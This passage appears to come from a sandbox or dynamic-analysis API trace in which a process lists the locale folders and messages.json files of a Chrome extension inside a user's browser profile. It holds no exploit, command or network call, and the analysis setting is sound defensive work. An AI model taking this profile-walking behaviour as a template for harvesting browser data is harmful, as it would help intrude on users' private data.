lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.980] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0278.980] GetProcessHeap () returned 0x550000 [0278.980] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.980] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.980] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.980] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.980] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.980] GetProcessHeap () returned 0x550000 [0278.980] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.980] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0278.981] GetProcessHeap () returned 0x550000 [0278.981] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.981] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.981] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.981] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.981] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.981] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.981] GetProcessHeap () returned 0x550000 [0278.981] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.981] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0278.981] GetProcessHeap () returned 0x550000 [0278.981] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.981] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.981] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.982] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.982] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.982] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.982] GetProcessHeap () returned 0x550000 [0278.982] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.982] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0278.982] GetProcessHeap () returned 0x550000 [0278.982] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.982] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.982] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.982] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.982] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.982] GetProcessHeap () returned 0x550000 [0278.982] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.982] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0278.982] GetProcessHeap () returned 0x550000 [0278.982] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.983] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.983] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.983] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.983] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.983] GetProcessHeap () returned 0x550000 [0278.983] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.983] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0278.983] GetProcessHeap () returned 0x550000 [0278.983] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.983] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.983] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.983] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x656b8f00, ftLastWriteTime.dwHighDateTime=0x1cccade, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.983] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x656b8f00, ftLastWriteTime.dwHighDateTime=0x1cccade, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.983] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.983] GetProcessHeap () returned 0x550000 [0278.983] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.983] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0278.983] GetProcessHeap () returned 0x550000 [0278.984] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.984] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.984] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.984] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.984] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.984] GetProcessHeap () returned 0x550000 [0278.984] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.985] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0278.985] GetProcessHeap () returned 0x550000 [0278.985] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.985] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.985] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.986] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, 